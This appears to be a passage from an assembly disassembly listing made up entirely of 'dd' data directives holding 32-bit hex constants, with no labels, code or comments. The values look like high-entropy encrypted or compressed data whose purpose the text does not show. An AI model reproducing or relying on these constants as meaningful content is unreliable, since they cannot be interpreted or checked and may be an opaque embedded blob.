0CF475392h dd 0F1B175CCh, 0DC3DC14Fh, 0E8F0BC3Fh, 0A893F4BCh, 570B4072h dd 6235D636h, 396672D9h, 0B776BE3Dh, 0F7778C88h, 3230C9EFh dd 0DB9D5DF3h, 9589915Eh, 3E65078Ch, 0DBE984D5h, 0FC5F1B60h dd 7A3C72F3h, 242A41E1h, 0E29DFC7Eh, 0B4678E2Eh, 1CA55B8Bh dd 88CE3D04h, 0B4941117h, 8AA21D29h, 474B3D9Bh, 5E6A70FEh dd 0C5A804B5h, 3211ECBBh, 0B69034CFh, 50A4BA87h, 0A5E1A7CDh dd 15F088C9h, 7448EC39h, 0B1494CCh, 4700955Eh, 0DE6CDCC2h dd 0B6AFDD7Eh, 0F5920349h, 0E3AD74Fh, 96A8DDBCh, 0ACD5F499h dd 4E7E746Bh, 802906D6h, 2186CBAFh, 0D80CE022h, 7BC33456h dd 0BEB8ED82h, 363D9035h, 622DC65Ch, 555709C8h, 0A1D89E14h dd 67D86E32h, 58B74B72h, 88A92FEh, 84A2E200h, 9986BAE9h dd 0A102FBA0h, 837156E0h, 0E4098F2Eh, 0AF4FD733h, 3D5E19D5h dd 0BCA6DECDh, 6FEAFADCh, 661DFD5h, 4DD3C2C1h, 0CFF611F8h dd 0ED01B3BBh, 0F4FAAAEBh, 0F6F472CFh, 5A273915h, 55EE3F47h dd 39C86FFCh, 17D6A97Fh, 0A3E9D332h, 15E60ECAh, 467153B7h dd 0E17D0FECh, 0BB0D0279h, 85375DBBh, 497B851Dh, 0CF618D70h dd 78421CA8h, 1B0CF4E5h, 417C7D40h, 85B05C48h, 3A57BB40h dd 0DD535334h, 9836BDBAh, 2FAC12ACh, 0B9509EB2h, 8310D644h dd 0BB8BEA07h, 8D1C0D4Bh, 829615FBh, 319E1DFBh, 22E21694h dd 24550FFBh, 0AC4CCD71h dd 0CBB83188h, 895C6BFAh, 0F8D2D136h, 0B14A7FDAh, 0F9AB3D73h dd 83D4DA3Ah, 6284C41Dh, 1DA7EA1Bh, 0F27BFEDDh, 93FF206h dd 0ACD87F31h, 5FA38BB9h, 5E7AA0AFh, 0EC4D5DB2h, 0CB28D725h dd 49105D4Ah, 289A0327h, 0E155D6Dh, 738B8F5Fh, 2A8E157Eh dd 85696C13h, 0E4CB8A74h, 0CBD56612h, 329DBFE3h, 0D901D8DFh dd 6FBFC953h, 9050A12Ch, 868B8A0h, 0E3D46625h, 3BBCC5EEh dd 0FD2FA2FFh, 61402C37h, 6873DA9Dh, 675F2D0Ch, 4569FC14h dd 0FB1D3459h, 0C2CDAE2Dh, 8BB5227Eh, 9177B481h, 978E9BC6h dd 22A97BBEh, 17CD8C4Bh, 78C5AA1Eh, 2C72CCF3h, 93852308h dd 0A0A994AEh, 986E1042h, 245B1DB8h, 7D3CA413h, 0F18BA0DBh dd 0DB50A509h, 0DDA9C80h, 1FAA19E6h, 0A352B118h, 3074CD73h dd 0C7427E72h, 5CB69EE0h, 0D0807C25h, 0BB46247Eh, 0D2E301DFh dd 269FC191h, 22A3BEE7h, 958CC9AEh, 0BB2B97FCh, 0D2F6E846h dd 78B3085Ch, 0BE519EA4h, 0FD92EB5Eh, 76C478CEh, 75EE91C5h dd 0CA2438D7h, 8B7B81C9h, 65D32302h, 381A3F89h, 823ADE6Eh dd 32B2735h, 94E761C1h, 705485D4h, 55C0D1E6h, 3A9A7AC1h dd 4F510680h, 0C26C4DC6h, 35D0595Ah, 0F0A64AA1h, 8A44E9FCh dd 0D77DFB2Bh, 5410A348h, 0DC0B3A6Fh, 63345DB9h, 24E4AC86h dd 80B0A3CEh, 0CBFD46B3h, 0E7AD6EFCh, 8C887DD0h, 0CD8B56C7h dd 671277EBh, 0F15CF4Bh, 55294886h, 0AE2305B3h, 3A70E439h dd 0D05163D5h, 85A687CBh, 0FB1E1732h, 0B898D74Ch, 62839882h dd 9D030690h, 0B3409450h, 92918C51h, 0CD9226F4h, 0B3653D73h dd 0CB611FD0h, 74B58D25h, 0AE473426h, 0FB26428h, 0C3E6BE8Ah dd 6E20CFC1h, 27638888h, 0C3021DE5h, 13CFF16Ch, 11CBFA64h dd 0C2DD91BEh, 1F68855Fh, 4472FD25h, 0ED1E5EEAh, 0E9471A7Eh dd 0F95A3B57h, 0CBD6E2B6h, 5DB823A8h, 0B44BF973h, 8B278556h dd 9B194117h, 0FB60910Fh, 0AB371BA7h, 12247070h, 75BBAC47h dd 0A8EB8C54h, 0F3F73A81h, 0F0BC7ED1h, 0C6DE40E9h, 9ADBE837h dd 6023F3DCh, 6C7F10E1h, 0FBF35BA6h, 907E943Eh, 0C89FC82Fh dd 365A36F8h, 9D009F1Eh, 9A9E7CD9h, 2FE1794Ch, 2EC54FC4h dd 0B757FB3h, 0CEA9A692h, 55D52D36h, 0B69E7593h, 536BEB7Eh dd 253C8C2Dh, 1983BEEFh, 28FD823Bh, 0B7E1E2FFh, 0FB70D7F6h dd 7E2A8799h, 3C4EE271h, 0C054C757h, 29927A56h, 5BB5D53Ah dd 2D964402h, 28DB2F0Eh, 573443ACh, 0FAE243Ch, 0BFC90A34h dd 8F513657h, 1C40D796h, 0C679F48Ch, 0A4A78D7Ah, 1E6E3865h dd 5B518FA8h, 0B1C3D6D8h, 828935DAh, 0EFB47505h, 5C9B6845h dd 0CE4E36C5h, 80788D30h, 58CA38Ch, 0A2F87EC0h, 0C0198389h dd 15F8D414h, 0E0D73A65h, 0C92ADFB3h, 1D5ECFA7h, 629B3901h dd 69B1F793h, 6EAB03C4h, 5FE2BB13h, 0A9FB7712h, 420E2197h dd 0FCBEE34Ah, 0BAAC8A68h, 9D4DB9A8h, 5FE78759h, 0B3665C5h dd 24DF3311h, 0D4FA7732h, 0B432FF72h, 0EBBF4E8Ah, 5349A342h dd 0F5ABBE44h, 67D2CDC0h, 84C0C0DDh, 484FA792h, 4C33344Eh dd 0AA2A8954h, 660B2A99h, 55BCFC68h, 0EA08589Fh, 0E1D2C993h dd 2B0089D8h, 6E0A4105h, 913EBACCh, 0FDBC9D91h, 4660DC25h dd 0D3C38F97h, 0F5CB4CD9h, 7FED001Ch, 63F2E176h, 0EAE9549Ch dd 83930097h, 0CED16D7Ah, 0B8C3E4CDh, 0E066CA91h, 43F4184Ah dd 92AB22BFh, 0F7788A19h, 0A24267E5h, 68AD4221h, 0A430E874h dd 0EB41798Ah, 78A62107h, 0B70E36EEh, 0ACF5ED6Ch, 3881FC00h dd 0B064861Ch, 0A1A97135h, 0DC94714Ah, 0AC549F00h, 0B3023DEEh dd 5EA9C9CAh, 23505B3h, 613D119Ch, 83C4E0F2h, 417C1E7Ah dd 73B85DD8h, 7E119403h, 0B8B1365Eh, 0A458247Bh, 6A790745h dd 30115097h, 3A5DE434h, 6B4BAE73h, 94BDBE75h, 7DD82250h dd 85E5F67Dh, 0C28A0917h, 22CD7124h, 0DB11CFC8h, 7F1B5809h dd 52D82CBFh, 0DDFA5A8Bh, 0BAC0B108h, 0F3043CFBh, 0B770Dh dd 36658E27h, 0B6351E2Ch, 773C1350h, 0A2DB6B66h, 82C64CDEh dd 0E0726DB4h, 3BF70692h, 215E521Bh, 79C516ACh, 0ABDBB5FFh dd 9ADCED97h, 0B945A548h, 5F5455B2h, 70AE71BDh, 0A33BCB2h dd 87EE1CD9h, 0F8B306C0h, 2E365B4Ch, 44B14412h, 28BD5B63h dd 0C1CBADE0h, 98A41C43h, 0A27D93C3h, 0E2CF340h, 5302D82h dd 44BD1B06h, 0D140B310h, 0E91015B8h, 0CC5C7D89h, 91EBF902h dd 9F61C377h, 91A8B0D8h, 1B3CD4FFh, 0B86490D9h, 0F16170Fh dd 0C703214Fh, 37B38B54h, 29C7216Eh, 7BD20EE4h, 0F1EF875Bh dd 403CB30Eh, 1ED0A17Bh, 20A799AAh, 0D3D50E6Eh, 0E9B907B8h dd 0FCE87D8Fh, 513086BCh, 0BF999231h, 0D755E52Fh, 0EA76D0FCh dd 7A8C8Fh, 0FFAB23F0h, 20A13856h, 9D53EAE5h, 291C3762h dd 56B70F2Bh, 0E95F5988h, 0B870B2ABh, 0EB738F00h, 9C73814Ah dd 4752CBB3h, 0CBEE4997h, 590BADABh, 0BAB13685h, 0D94D34AFh dd 0B32A7433h, 0DDB94B60h, 0F193EFBDh, 50BA9D2Ah, 0F9E2A582h dd 37D51B9h, 6ADD8298h, 4C8EA16Eh, 0E3883875h, 4096A58Ah dd 840EAE3Fh, 4CC646A8h, 0AF6ED0C1h, 49CB5A4h, 0EB88ED9Ch dd 0EE874E99h, 8994E776h, 0BC5067FFh, 5DC933h, 0D673C729h dd 0D2543BC2h, 285DCE63h, 0FDA0AF0Bh, 6E548D22h, 0CA6A0A8Bh dd 0B1832BDDh, 2074EF06h, 0B497955h, 56414158h, 0D0FA8FEEh dd 0F41B19CAh, 5987EF56h, 2C1498F2h, 0F5A0556Fh, 880AED3Ah dd 595F79A6h, 8A6F41D1h, 0BA34CA70h, 0BB118D73h, 9A74C100h dd 39BB9BDEh, 673983BBh, 6397FE68h, 44661265h, 6200573Bh dd 12005BCFh, 3496C0B3h, 0C825B0B0h, 0E0AE2CA7h, 1754BBD7h dd 37E7BB9Dh, 4E76D5D6h, 51B2BA64h, 0FA828B9Dh, 61B5DF6Ch dd 0BBE51996h, 4095BB00h, 3D337E88h, 400BE87Eh, 4E7663F9h dd 49C44C9Dh, 0E6046E75h, 0BAC7AD2h, 3DDA0D1Fh, 543874AEh dd 0EE7B5587h, 63BEDB71h, 0ACEF16C1h, 7C65ECB0h, 0B4A2956Eh dd 8D74647h, 221B4E06h, 0D4EB30FFh, 60ADE046h, 0CBC141E0h dd 4BD0AD11h, 0D291A4E2h, 97327D7h, 0B037F65Ah, 75854EEEh dd 0DDDB66D1h, 3901F159h, 1CF79D20h, 0DC5F3F49h, 7DA2B7E1h dd 6908D7E6h, 7A891046h, 0D65137D9h, 8CA5FFF8h, 4DC17A23h dd 3DCB3CC5h, 2E8B8ECFh, 0E465A4Fh, 0EDABD84Ch, 10783BE8h dd 0CD999217h, 631FAAA1h, 0B39D017Bh, 27BF36EEh, 0ABAD965Ah dd 6F3BFC7Eh, 0F6627ACFh, 0F8375A43h, 3A52E3BBh, 4EB86596h dd 0C53AF0B2h, 0ED2B656Fh, 0E9B5E2CDh, 1378DE79h, 9C7D7200h dd 3889FCDAh, 0B18290C4h, 8AE063C1h, 0E22B160Ch, 0EADDFC8Dh dd 0BEE68C78h, 0BA34CA97h, 0D4CAD56Bh, 0A5CA058h, 24C09199h dd 7FE8B6B8h, 0CB0F2120h, 0C58B9B4Ah, 78844F00h, 946FBBC5h dd 2283AF1Ah, 0D5480B56h, 52F90366h, 237A67FEh, 5A6182A1h dd 0CFBDE55Fh, 0F959BF86h, 4C1AC8CAh, 7F7F3455h, 6188D885h dd 65B1B1A4h, 0D149FFC3h, 268A6D3Bh, 8F048BE9h, 6C966E57h dd 0D62BDC4Eh, 4BD55858h, 0CE27D97Fh, 0C3816AD6h, 0B7224067h dd 4DF75A71h, 744F4A9Ch, 7B052F3Ch, 9F59F1Eh, 0C747785Fh dd 5ECE6301h, 0E0CF803Ch, 0A0D202D0h, 4CF8FB4Fh, 8ECAC081h dd 0F1DE5A4Ch, 4F1A801h, 8093E4DFh, 0D29D1C7Dh, 42FE82C9h dd 0AB60C02h, 0D99E3CF3h, 78C8CA48h, 31616442h, 0A5E109F1h dd 0E241F958h, 181B1FFFh, 2273F8A5h, 33BE2896h, 0EDE1448Fh dd 64F28996h, 0D708949Dh, 4E43282h, 614D1D6Fh, 49AFD623h dd 8377C31Bh, 0FAE34C8Ch dd 4890D76Ah, 6963876h, 1FCDC0C0h, 159EF5ECh, 5BED6637h dd 76EC9998h, 0E6AAFB15h, 7CDEE056h, 0C7530E38h, 0C3F530B3h dd 6160793Ah, 0BC4463DBh, 9BF92A54h, 9AE95D4Eh, 1F4BEEA7h dd 0F8AD5BC7h, 392BED1Eh, 41791D6Fh, 1BA675F5h, 4DF299A1h dd 0DA012F8Fh, 532D9BAAh, 5AD2B9F5h, 69A731BAh, 29114B1h dd 92F0D5CFh, 93732F9Ah, 3D0870A0h, 11BEE2ADh, 3154D539h dd 177A6F8Ch, 0FF5FA08Eh, 0B7B14F52h, 0AEA27020h, 1DEF9791h dd 7A9AD317h, 0C1786935h, 0D74FFBCh, 110C5C77h, 284F8B2Fh dd 0E0A53A39h, 6EAD9DA5h, 0F6BBA818h, 11C53BBBh, 0AB42985Ah dd 4EF8EAB7h, 0E25247DBh, 8325C840h, 0C7081A44h, 72779AE8h dd 0EC5EDF66h, 8AC4AC71h, 0C15D0068h, 29844588h, 2D31D66Bh dd 8E486F2h, 0B692D17Bh, 0D4F3B24Fh, 7F3F3AB0h, 3512EDD9h dd 0AB41E06Dh, 0F700EEA6h, 7F0A8F0Ah, 7392D6D0h, 5AF2E936h dd 58B7C57Bh, 4B557F31h, 3956DF8Eh, 0BE05C416h, 91C2824Ch dd 59467596h, 90F7C870h, 33CB25EAh, 7DE41D8Eh, 0AD8339F0h dd 6A471BBBh, 0EFB09CADh, 0ADD97758h, 0D66A77A2h, 0FCB5E02Ah dd 7EB3F0F6h, 30BDBF08h, 66F87305h, 0B7A414B1h, 0D7F7CCEAh dd 0A8280DD8h, 7939E322h, 7A5B1E14h, 0DD7EC56Fh, 95ED1748h dd 2AC936E6h, 96129D8Ah, 246F162Bh, 0D5520786h, 0A6771229h dd 54DF69DBh, 470F4137h, 0B550959Bh, 0B77FC26Eh, 8401E1D0h dd 68D19C02h, 4F667C37h, 0F8D27430h, 0BA279B7h, 0C31CEDA5h dd 772AA9AAh, 4DA7E4FFh, 0E600A8CFh, 0FD243AD8h, 73C2A473h dd 43F1EB4Dh, 8E4CAFD5h, 6E66BB56h, 0AF4BAA75h, 26936936h dd 75472ADEh, 69101733h, 0D6F3E966h, 28D10605h, 3DBFEBB9h dd 0C22732D6h, 9CE51DB3h, 8C4718CAh, 2BD113FBh, 0E6B999F3h dd 3511D394h, 5174F45Bh, 0C3E1C88Bh, 98918972h, 0CC17D986h dd 320DF7B9h, 6B7EDC50h, 529D7A69h, 0EBC48389h, 0A426FC1Ch dd 1D86E6D2h, 8DC9E5FAh, 0A440B9AAh, 56FFEDFAh, 0DF50BC42h dd 10FFE95Eh, 11012A77h, 0ED8A15Fh, 29EF5B90h, 924CE5Bh dd 0EFAA4F7Ch, 0E5535CC5h, 0C87C614Dh, 2BD962F4h, 0AC51656Dh dd 0FD2A506Ch, 15A95675h, 0D22CE4B2h, 0D691413Ah, 494C0B51h dd 1DEF8A4Ch, 2CC525Bh, 7AA9ECFFh, 0D0709C0Ch, 7A725335h dd 6EB4EB27h, 2ACD8B29h, 0DEAB0E07h, 0C151A0FEh, 5C093E04h dd 0BC4C16A0h, 506C93FCh, 782C03C1h, 34AA3A04h, 7865E296h dd 0DA7431F4h, 391E2D40h, 8499D720h, 56795DFh, 3F2C20D8h dd 4C9A488Ch, 8CFF6DC8h, 0AD297C68h, 1F84B0D4h, 7785D569h dd 5AD15347h, 0D165420Ch, 50C44E8h, 0AF30342h, 37E03903h dd 9B2AD495h, 1C6CF1C9h, 12BB4428h, 0C86DFB47h, 1AA4DE5h dd 27A20D68h, 0C9A6F66h, 3A041C04h, 6C0AE50Bh, 92A651D8h dd 8DD6CD0h, 1AD42DA4h, 0B1DC7DF4h, 930ED3ACh, 36F5D811h dd 1073D356h, 579F3117h, 25FC7CA1h, 185FE810h, 0E888F470h dd 37AE0A39h, 2372370h, 571B34A5h, 71E08B2Ah, 2D77DBCAh dd 5937407Ah, 8BDB0902h, 8E6CFAACh, 5D707986h, 17FB5A64h dd 0F9AD1333h, 71E85F8Ch, 37E25B5h, 0D7AF8C21h, 2E8813F2h dd 0C839D9CAh, 0E1034A1Bh, 0CF296471h, 2ACC8595h, 2E63361Ch dd 0F6B8C6C0h, 0FA6AD967h, 0EB466C46h, 0F655AC6h, 53A63A36h dd 48C4DB30h, 9F96B931h, 13343A8Ch, 0D07B68C9h, 0A350F18Eh dd 84B479DBh, 8DAA515Bh, 7DEECECh, 758EB68h, 15225C13h dd 85B0F897h, 0A4C72166h, 0BC55741Ah, 5AB13FABh, 62747C9Eh dd 26BB1F6Fh, 442C0CCh, 0C1337E87h, 52373AA5h, 0DDA77C3Fh dd 340CECF4h, 0C9C18BECh, 3F4F2572h, 70A66D13h, 0C20A8B6h dd 0C783FDEAh, 672935C3h, 1E88D1A8h, 7BE5480Bh, 0D4FCF1B8h dd 2042EB10h, 84E4592Eh, 1D2AC247h, 0F564C163h, 0B1B4D7F0h dd 63316EAFh, 0B4AF54DFh, 0B12FF134h, 0E3F309DAh, 0C9EDA7FEh dd 73642B95h, 0ACE2ADC7h, 1B1F488Ch, 0F4AC282Ch, 0B8A4AC6h dd 19ED3F72h, 8030A6B5h, 0EAC117BAh, 1DCABF85h, 3879BB60h dd 4B796B96h, 0E679AE8Fh, 89BE5B93h, 21E55413h, 0E80807F0h dd 0E6DB2BEFh, 0D6C3C96Ah, 4B2E0B00h, 791F15C8h, 0E27B0B50h dd 4AC47A5h, 869959A1h, 8BCA9C5Dh, 6F20090Dh, 0F274C160h dd 0D679DA49h, 0CA026DB0h, 23266D79h, 1EB2F598h, 5FF62624h dd 69A79F10h, 0A55DF40Bh, 0B0EBB066h, 172BF961h, 0A8168922h dd 1FE31ED9h, 20BFC3AFh, 92B5B1C7h, 0D4001F9Ah, 0DEC5EBB2h dd 3E287D3Ch, 0C1EA45B1h, 3D713A95h, 1ACB58CEh, 3662CB1Bh dd 4DBC0969h, 0D0524B75h, 256B809Dh, 4170EEDEh, 92A1EE7Bh dd 0DDDFAAF8h, 389CF20Eh, 713745E9h, 77F108BAh, 8D2A6423h dd 61FBAA4Ch, 0EF3C47F6h, 3BD2055Eh, 7D38EE6Dh, 0B4C3C4E2h dd 80E6AA5Eh, 0ECB83F02h, 5A02A761h, 0E657EA0h, 0CFF4F61Ch dd 1E981161h, 0ACC380A5h, 0B6F4837h, 4D031B3Fh, 67938C3Bh dd 2B4E7711h, 374FDEA7h, 0E3951438h, 688D0D43h, 0C8A872D9h dd 0A8E9C2F7h, 432FD5E5h, 1A7728EAh, 0D5FD2638h, 0DA5CA317h dd 64522956h, 39BD08B7h, 52E61E07h, 0CD328562h, 0DB6C2FE9h dd 2D719FFEh, 18BED3E8h, 0F13D5FF4h, 62B600A6h, 91BD6596h dd 0F08F00F2h, 6DB66FE1h, 526AB650h, 888F0181h, 0EED4F851h dd 75ECA967h, 84586411h, 3E73B863h, 0AE02DC4Dh, 6EF9BA59h dd 26BFADA0h, 3E7D1D5Dh, 55A64537h, 0FB52BE8Eh, 830D0BD3h dd 0BD66C083h, 0CE5B6762h, 5E92B44Dh, 41A96EAEh, 0A809E973h dd 0EC8005BEh, 8A822D83h, 2C16ED54h, 0A452E1EDh, 723D191Eh dd 0ABCD17E4h, 71B6ADEBh, 0A865857h, 0CCF34A5Dh, 2633D073h dd 27E6E0E4h, 8C05B257h, 8471CF5Eh, 1B9CAAE6h, 4EF87656h dd 0B3DBA751h, 15B66066h, 2E71905Ch, 23AE22BAh, 3481795Ch dd 481F517Dh, 0F10098B4h, 0D78FC2F1h, 2E9B9558h, 7DE637Ch dd 92DF049Dh, 23205B4Ch, 0B98A3336h, 9E422F99h, 0C01F1743h dd 0FCDD4A2Fh, 11ECAF8Fh, 7609598h, 0F51260D6h, 6A8AFD20h dd 8569DCE8h, 0B7D3FFC6h, 0A07C9073h, 5DB6BBE0h, 2A9B4367h dd 0EDC2EAD4h, 7ADC5BBh, 0FF75ABFFh, 0FB3D590Ah, 0F24AB591h dd 5B62AEA7h, 4E003F07h, 9FF225B2h, 84A662ABh, 0B88817EDh dd 0F5FF3DB1h, 0D59A9501h, 941EEA62h, 3CC4F4C5h, 36EADDh dd 0E95EADCAh, 0C9EE13D7h, 64971526h, 0F48CFCAFh, 0F297E38Dh dd 9DAD388Ah, 393E55C0h, 7480E34Fh, 1E6E75E8h, 41963584h dd 0E47DD590h, 889721D8h, 0E4D86ED1h, 32A78B79h, 2989C926h dd 84F8319Fh, 5E9CA647h, 0FD8790A7h, 0AE0CDA1Bh, 0E7016553h dd 590163AFh, 0E25D82D6h, 9C9897F1h, 855255BEh, 6B32B818h dd 0AF6FA49Eh, 0BA9EBFA1h, 56A67240h, 69CA5984h, 9D1F1C7Ch dd 0BAD7778Bh, 0E2E8CCD1h, 0A3D3D454h, 3A28DAEBh, 59A4B5D7h dd 1611D507h, 4FE09B8Ch, 53CF0DE9h, 0F351326h, 3CD59ADCh dd 7935C5B7h, 0DA5D5C7Eh, 0A4A612A9h, 9682B70h, 27C383C9h dd 388B1E72h, 0AA0B0D8Dh, 0ADF91348h, 5C520E6Dh, 0D71719FAh dd 0A632FA4Ch, 44A5B005h, 0B1FC63DDh, 0E392784Dh, 23E91C79h dd 3E73359Ch, 500FC085h, 0A6C81BC3h, 8410D5BCh, 0CAA6EAD5h dd 7B3BB79h, 0D8BAE9DEh, 9D888381h, 0AE18DBBBh, 174AACD1h dd 2C8273Bh, 2507AABBh, 563B33A2h, 4B3B2D55h, 55664E45h dd 0BE17C074h, 844A3809h, 2DA764A2h, 5FBE905Ch, 0B75DB8F3h dd 0ED3DC232h, 0FE3DC14h dd 0C96F4BD2h, 0ADBA98Fh, 6432A48h, 8360074Dh, 0E8F987CEh dd 84F18875h, 530C2819h, 9B7BC227h, 0F37567B1h, 48568325h dd 1868C390h, 0BB26F4F4h, 9314D56Ah, 32E06B25h, 84B34C8Ch dd 631ABF14h, 6C8CD935h, 80CE3C80h, 8BD0ECE8h, 0C58C47A6h dd 2593B211h, 307AD387h, 96241069h, 980F0E14h, 5F4FEA23h dd 0B97343Ah, 0F07736FEh, 2E5E339Ch, 182821C2h, 93663FEEh dd 5A36405Dh, 1377177Fh, 88121344h, 2B67AB15h, 6F2567Fh dd 0E54E7ECEh, 4CB871E6h, 72484F4Dh, 6572DCAEh, 95C3DE04h dd 0BF578F45h, 6A6731CDh, 0F68A55E4h, 1C8EF9EDh, 0C3157085h dd 152831B5h, 9F03359Ah, 180B35E6h, 8722E490h, 49B2E7D2h dd 9F821B81h, 80BCADFAh, 0FC4957AFh, 1611694Fh, 6DAA7171h dd 383ADF0h, 0F045764Fh, 0E0FBA750h, 0B803FC36h, 2F94B211h dd 2DCE8111h, 82BE5F89h, 1CE22290h, 0C1EE981Fh, 0B2D54E53h dd 53E563B9h, 0AD7D3515h, 7679DBDAh, 6D67A7D4h, 0D0F95369h dd 1D290E62h, 0AEFB02D0h, 6B4E234Eh, 80D2A3FFh, 0C0B41083h dd 0CF7C3F3Fh, 77E91031h, 81D610A4h, 8B5D11A4h, 0AD440AA9h dd 229E275Ch, 74A1FD1Ah, 1C1BF3F1h, 564B7F5Ah, 0CBA3B20Dh dd 8C6240DCh, 710B0BB6h, 8B4D0D18h, 0F3044784h, 84B7BEB4h dd 0B188FAE1h, 2EF9E39Ah, 6D414934h, 0D55EC8C9h, 0A3FF397Ch dd 311C9E48h, 9A64CA84h, 0CAD7C56Dh, 0F1FCE8B8h, 0C34E5AD5h dd 4519119Bh, 0A4E753E8h, 0E0DF6621h, 56E63AE4h, 0B960C3C9h dd 93E81537h, 0DCB0776Ch, 0DB55A966h, 2C682637h, 93563B4Eh dd 0B0F63D25h, 28ABE3FFh, 7772FE5Fh, 8302CE06h, 52D11EEAh dd 0AE6A9791h, 693EEA5h, 0E4B131D2h, 0B1A8AD9h, 7B7669E3h dd 2D4274F7h, 0D6C38C94h, 5A7861B8h, 92A96841h, 0B425E591h dd 10610EC9h, 3DFC2DE7h, 9E7A5257h, 0C04F09C7h, 52D9B356h dd 17B20AA0h, 0E5BD3E87h, 9EF28ACEh, 0B94DC6CAh, 0D538651Dh dd 3B647924h, 56E5C756h, 0B8D3D98Fh, 0CFB03C8Eh, 247B1912h dd 14A086h, 3CF172E1h, 0E39DE001h, 58ED122Eh, 54368CCCh dd 0BD3566A9h, 0B81F09CAh, 8AADB34h, 815FA2CFh, 23EE3B83h dd 35DF12DEh, 0E9E23DE7h, 8997DD7Eh, 749B73DEh, 0F458E8DBh dd 0F79D8B3Bh, 808954DBh, 227909DEh, 4AEFCE35h, 5B98687Ch dd 84107A64h, 0B7A6473h, 8CCCF5C0h, 0A3ABDC17h, 2594D270h dd 3E79E2FCh, 0DC22AB51h, 0D7FA8A82h, 5F478236h, 2D1A3EDEh dd 0CF512FFCh, 0AD7CD2AEh, 1A7CFFA8h, 32649B4h, 81043FF8h dd 4DF73A7Eh, 0D1A287F2h, 0DEBAAFBBh, 3798FFC8h, 0A9A2D01Bh dd 0E660AB69h, 5E03BC02h, 0EE977C28h, 1796579Ah, 0F7712989h dd 0F55387BEh, 0AB7C6CE2h, 0D3FB1B87h, 2ABA28C0h, 42F65899h dd 0BF489BC1h, 0B2A0A277h, 460E6153h, 2C5B3602h, 18452141h dd 24F05AA1h, 2616B7Ch, 847AF767h, 22FEB971h, 0E85A8467h dd 5FF94663h, 365258B4h, 0C9178555h, 2CD3F38Fh, 6E4203A3h dd 46ADD4F0h, 22A49593h, 7C4A75Bh, 0EB28973Ch, 72E1F104h dd 0EAB5E30Eh, 9FB46FBEh, 0BA45E281h, 628CD2ACh, 24D5CC05h dd 9BC7F358h, 1D2A9E28h, 74E4708h, 31ADDA49h, 5B7CFC0h dd 0C244DD0Ch, 0B3696CA0h, 566ABE43h, 0CF47453Dh, 9C6A70B2h dd 665F4A66h, 49AF0F16h, 0EE4C2CBBh, 0C753F61Dh, 67FE4A07h dd 1FF0523Bh, 5886D933h, 0B44D6709h, 1BFF138h, 3587DDEFh dd 7EAF880Bh, 0C4852686h, 6A6C4657h, 0E33FDD82h, 62A303CDh dd 0F5F1B365h, 8C9BA581h, 32481762h, 0C8F05922h, 0E96C1E81h dd 1EBB9614h, 5C9FAFD0h, 888AFC98h, 4B5B17C7h, 0CC134997h dd 0DCD921A8h, 0E62B7CECh, 40049A8Bh, 6F2F65AAh, 34EFBD32h dd 994946A1h, 0C5C8F9C2h, 75EC96A2h, 9B38D5F3h, 2939EA1Ch dd 5BD05916h, 9A9D6810h, 0ECE6EB4Ah, 659DBC99h, 59815290h dd 81B227E5h, 0FFF451CBh, 6B85DBDCh, 4A68907Ah, 6D11DEACh dd 9B8ECEF9h, 5A38440Ah, 91C68586h, 6F668A5Ah, 7277E7FCh dd 9F44ED9h, 0FF7CA11Fh, 8BFDF14Ch, 0CD47E135h, 7933F4Dh dd 60DD79D0h, 31A23C91h, 7FB54F4Fh, 407F0ED3h, 2E86C8BBh dd 1E510DF9h, 98F1EEEDh, 2015A621h, 225668BAh, 0FD242264h dd 192C303Fh, 79E90F18h, 97700CE7h, 0AADB0268h, 2453022Ch dd 584C6465h, 7CE1C634h, 0C7837E3Ch, 0F27B3479h, 49B8309Fh dd 0BD83EEDFh, 5B2B2CC1h, 0A2851FFBh, 0BA84B6AEh, 0E8C4D27h dd 0F2B0C869h, 7AEBF1DAh, 20E3DF52h, 22F5C5FFh, 0B97455A2h dd 85BF8982h, 0E70BE9A3h, 0BC828D56h, 5B4F0CDEh, 0E6A75C7Dh dd 39A7A64Dh, 295F02E4h, 9BBD2192h, 12A69B2Bh, 0E472D7AAh dd 0CBA93036h, 320CD001h, 0BBB30F28h, 39D3A8EEh, 49FF20D7h dd 617226BBh, 2BBD9B20h, 0B27C958h, 64DB0AC3h, 2357998Bh dd 14BEA89h, 0F2A66FBEh, 75B13176h, 34784B2Fh, 9C84D9F5h dd 5DB85EE8h, 0D8D6938h, 33FC09AEh, 0ECAD9EDFh, 716A2E84h dd 8E82DE7h, 2FCFEA5Eh, 606F9C10h, 390ACF0Eh, 0C3280964h dd 5F601071h, 0C22E278Dh, 71EB927Fh, 0DF9FB38Dh, 9573A7CAh dd 48A79206h, 217942DEh, 0ECA0C0BCh, 2A689527h, 0F36A7E8Dh dd 28363513h, 0EEAC51A2h, 1ADAB720h, 2BB72BB3h, 0DD8BB4EBh dd 3968D292h, 0C2D66009h, 958CFD7Ch, 68545BA6h, 0A8430D39h dd 0F4B41856h, 97277BE1h, 0D4BC23DFh, 0C51BD4D7h, 0BC5C7090h dd 7230C36Fh, 0C2119482h, 7A165CB4h, 1B5EA4F1h, 0EC4C5666h dd 0D6285B2Dh, 4406A778h, 21F1C981h, 429E2A55h, 0D0DE89BEh dd 4B4336B3h, 0ECF3DD7h, 276F2E33h, 808DBFFEh, 0A25AB6Eh dd 0F8F7494Dh, 93386102h, 0D7870659h, 5D823BC4h, 5FD4E572h dd 0D0536F76h, 6CFD7D94h, 48D544AFh, 0ED94D8F8h, 7C05DEBEh dd 67DF3D30h, 0BA612A99h, 129BB5EBh, 3A6ABE63h, 99DBFB29h dd 4E941E5Ch, 0B966E6A4h, 8B61398h, 0C92F45C6h, 5D137440h dd 6C99B555h, 0E842A190h, 0B0171C55h, 0F7FF8C71h, 7838078Bh dd 0E475DD8h, 61F49479h, 0DC1B050h, 1D9AF3F9h, 0CD3551E3h dd 417DA6B0h, 75205200h, 0DC341D88h, 2BD970A7h, 0B6FF1455h dd 0A59AE4DAh, 5E0DE0E7h, 0CACBF1F3h, 0F141AFAEh, 0AD4DD424h dd 4B11B505h, 0EB73F662h, 0E1D8A6A7h, 0AF4716A4h, 0BDFBBCF3h dd 25DAFC7Eh, 0F549C80Dh, 4B54010Ah, 0EC2D0D71h, 0D2F33163h dd 377EBDB0h, 0B0B08D97h, 68858535h, 0DD3CCE77h, 3EA93F92h dd 3FC0C008h, 0E22A9207h, 6CD00D83h, 0FB7C2DD7h, 0CFE83526h dd 2B3B53E1h, 0FD36DB05h, 0DBD3D315h, 4320023h, 0E2FBAFD0h dd 6081BC99h, 9CD46BFEh, 0F1EB4D10h, 0BAC64CA5h, 